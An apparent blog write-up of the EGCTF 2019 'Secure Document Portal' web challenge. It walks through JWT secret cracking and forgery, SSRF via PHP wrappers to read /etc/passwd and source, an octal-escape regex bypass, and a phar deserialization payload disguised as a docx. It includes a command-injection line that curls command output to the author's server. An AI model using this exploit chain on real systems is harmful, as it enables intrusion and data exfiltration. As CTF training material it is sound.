EGCTF 2019 — Secure Document Portal

osama alaa
Nov 26, 2019 · 11 min read

Hello All

This was web challenge called Secure Document Portal from EGCTF 2019 Qualification round .

I decided to solve it after the competition , I began this long journey with my friend khaled gaber , then I completed it after 10 days :D working every day for some time :D

I tried to explain every single step as could as possible .

Initial

This is the login page when you visit this url : http://167.172.228.195/login.php

So we can login as a guest and we have an upload page

First I tried yo upload any php file , and as expected it accepts only doc and docx

I tried to upload doc file and change the extension only to see if the app doesn’t check the extension , but it refused that , I tried also to bypass that with known methods but useless

You could upload any docx and as shown this docx is sent to the administrator , so I though why we don’t upload docx file with xxe payload and try out of band xxe but useless

Jwt Crack

When I inspecting the request using burp , I found this authorization header

Let’s decode it using this link https://jwt.io/

So it was obvious that we will change the username and role to admin but to verify the signature we have to crack the jwt to know the secret , so I used this tool https://github.com/aress31/jwtcat

Using this command I could crack the jwt :

python3 jwtcat.py -w /home/osama/Downloads/rockyou.txt -t ‘eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJFR0NURjE5IiwidXNlciI6eyJ1c2VybmFtZSI6Imd1ZXN0OTE1Mjk3Iiwicm9sZSI6Imd1ZXN0In0sImlhdCI6MTU3NDcwMjM1MSwibmJmIjoxNTc0NzAyMzUxLCJleHAiOjE1NzQ3MDk1NTF9.V-gpiqg0EnGKsS4A-6o25UimRjgIoLHhp4sYp8oQGfM’

The secret was mys3cr3t , so we could construct the jwt with admin privilege

When I entered the application with admin , we could see that there two actions:

  • Download the document with its secure_id
  • Uploading documents with external url

SSRF

When I saw uploading documents with external url , ssrf comes to my mind , so I used burp collaborator

And there was to requests :

  • dns
  • http

So Let’s try to do that again and get the secure id to retrieve the document

So I could get the content with the secure_id

I tried to use php wrapper and it succeeded however there were forbidden schemas but I usually use php wrapper as first trial with php applications

So I could retrieve the content of /etc/passwd using the secure_id which generated from uploading documents

So Let’s get the source code of the application

We have now 6 important files :

  • upload.php
  • download_external.php
  • download.php
  • helpers.php
  • class.pdf.converter.php
  • bootstrap.php

Let’s analyze them

bootstrap.php

This file declare important variables like

  • The allowed extensions which are doc and docx
  • The path of the documents uploaded
  • Include helpers.php

helpers.php

This file has two important functions:

  • generate_guid : which will generate random names for the uploaded documents
  • is_malicious : which will check if the uploaded documents have serialized data “ so the challenge may have object injection attack”

Upload.php

This file will is doing the following :

  • Check if the uploaded file has doc or docx extension
  • Rename the file with return value of generate_guid function and appends the extension (docx/doc)
  • Move the file to the userpath which is /tmp/userdata/md5(ip)/
  • Note : The line begins with //TODO : this means there is no check to make the sure that the uploaded file is document , it checks only for the extension

download_external.php

This file do the following :

  • include class.pdf.converter.php
  • Check for dangerous schemas : file , data , phar ,…..
  • Pass the user input to file_gets_content after blocking dangerous schemas
  • Store the uploaded file content in variable
  • Check if the content of data is malicious
  • Storing the content of the variable on the userpath with a guid name followed by docx extension
  • Generating secure_id to read the content of the file

download.php

This file simply open the stored document file with the generated guid


class.pdf.converter.php

This file contains three methods :

  • __construct : while take $filename and set the convert_status to false
  • convert_to_pdf : it converts the doc files to pdf after checking somethings and return true of the conversion has been done “ we won’t care of this function as we couldn’t call it “

__destruct

  • Check for the convert_status
  • If convert_status is true it will take the filename
  • apply regex on filename to remove all character except “a-f , 0–9 \ “ so all command injection payloads are removed
  • rm the output of the regex with system command

Now we have all inputs of the challenge and it is the time to see how we could rce , there some indicators :

  • class.pdf.converter has _destruct method with command execution
  • It could be object injection
  • If we will use __destruct method to get rce we have to bypass regex filter and the check of convert_status

and this moment I couldn’t know what to do , there was something missing for me , but there was a hint important for this part

Phar Understand

So I searched for this hint and found a video talking about this vulnerability and also a pdf :
https://raw.githubusercontent.com/s-n-t/presentations/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf

I was lazy enough to see the video :D

So I opened the presentation

This vulnerability could be executed through file_get_contents which we have in download_external.php file

After searching I found that the nearest schema to be used is phar because it could be used with file_gets_contents and could exploit object injection and also the example was talking about _destruct method :D

It was my first time to read about phar so I tried to try it on my laptop

I got the structure of the phar and knew how to construct it :

  • Declare the class that you want to use it
  • Make an object of this class
  • pass the object to the metadata of phar
  • Generating the phar file with php test.phar which will give use phar.phar that we mention in test.phar : new phar (“phar.phar”)

you could read more about the phar and its construction and sections as I didn’t understand it 100% , I was focusing on things that helped me to solve the challenge :D

I did this demo to test it :

  • Create test.php which has class with _destruct method
  • create test.phar which will use the class with __destruct method
  • Generate the phar.phar with php test.phar
  • Create a very small file similar to download_external.php without any limitation
  • Using phar schema which called _destruct method

Schema Bypass

Now we need to bypass the dangerous schema

as using file:// or phar:// is forbidden

After a lot of trials the bypass was passing the dangerous schema to php wrapper which was successful

Regex Bypass

Now we have to bypass the regex in the class.pdf.converter.php

$clean_filename = stripcslashes(preg_replace('#[^a-f0-9\-\/\\\]#i','',$this->filename));

The preg_replace will remove any characters not allowed in regex and couldn’t be bypassed but it result could be \digit like \123 \332 ,………..

So I tried to read the stripcslshes function which will return the octal or hexadecimal

so using hexadecimal : \x61 , the result will be a , but ‘x’ is removed beacuse of preg_replace function

Using octal representation ‘\141’ , it gives me the ‘a’ , and the octal digits isn’t removed from preg_replace

So we could use octal encoding

converting ‘;ls;’ to octal and use it in the stripcslashes function was successeded and bypass the regex and allowed be to construct the payload .

No we could test the command inject as shown :

I tried to fuzz this to bypass the regex , and I bypassed it without knowing the type of encoding and I did small php to know the corresponding value of each encoding , I was happy to bypass this regex by luck and construct my first payload manually character by character :D :D

Phar construction

Last step we need to construct our phar which will exploit the class and execute command , but before we do that we have to bypass the convert_status which should be true , as it confused me because I forgot object oriented :D , so I revised some concepts and tried to apply it

So we have a php file which has private value $osama = tue , and this variable is assigned to be false in the __construct , so I didn’t know which one whill be echoed in the __destruct method

So by trying that , the declared variable outside any function was echoed in the __destruct method

We could try to upload the resulted phar as a test after changing its extension to docx , but the request is blocked

because of is_malicious function which is checking for the serialized data

I removed this line :
$phar->setStub("<?php __HALT_COMPILER();");

as shown :

and this is the difference between the two versions :

  • First one with $phar->setStub("GIF89a<?php __HALT_COMPILER();"); so it gives me phar file as a gif
  • Second one without setStb it gives me a php

I tried to upload the one without setStub and it was successfully uploaded

Note: if the app was validating the necessary headers of docx file , we must add setStub with the proper docx header to bypass this check

Returing to bootstrap.php , we could knew that binary file which will be executed to give us the flag

so this was the final payload to send me the flag on my server

1;curl http://myserver/`/bin/getmetheflag`;

So I converted it to octal

And begin to construct my phar as shown :

<?php
namespace EGCTF19{
class PDFConverter{
private $convert_status=true;
private $filename='61\x#61\x#73\x#143\x#165\x#162\x#154\x#40\x#150\x#164\x#164\x#160\x#72\x#57\x#57\x#61\x#64\x#64\x#56\x#71\x#61\x#56\x#67\x#65\x#56\x#61\x#63\x#63\x#57\x#140\x#57\x#142\x#151\x#156\x#57\x#147\x#145\x#164\x#155\x#145\x#164\x#150\x#145\x#146\x#154\x#141\x#147\x#140\x#73' ;}
$phar = new \Phar('test.phar');
$phar->startBuffering();
$filenamee='61\x#61\x#73\x#143\x#165\x#162\x#154\x#40\x#150\x#164\x#164\x#160\x#72\x#57\x#57\x#61\x#64\x#64\x#56\x#71\x#61\x#56\x#67\x#65\x#56\x#61\x#63\x#63\x#57\x#140\x#57\x#142\x#151\x#156\x#57\x#147\x#145\x#164\x#155\x#145\x#164\x#150\x#145\x#146\x#154\x#141\x#147\x#140\x#73';
$o = new PDFConverter($filenamee,null);
$phar->setMetadata($o);
$phar->addFromString('test.txt', 'text');
$phar->stopBuffering();
}

Note : in this payload there were unnecessary characters like x# as preg_replace will remove them , but I though they were necessay when I bypassed the filter with fuzzing without knowing the encoding type :D

I get the phar using php os.phar and change the extension to docx

Then I uploaded the resulted payload.docx

The final step is to use phar schema to execute the payload :

http://167.172.228.195/download_external.php?url=php://filter/convert.base64-encode/resource=phar://../../../../tmp/userdata/md5(ip)/[guid].docx/text.txt

and the flag was sent to my server :

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade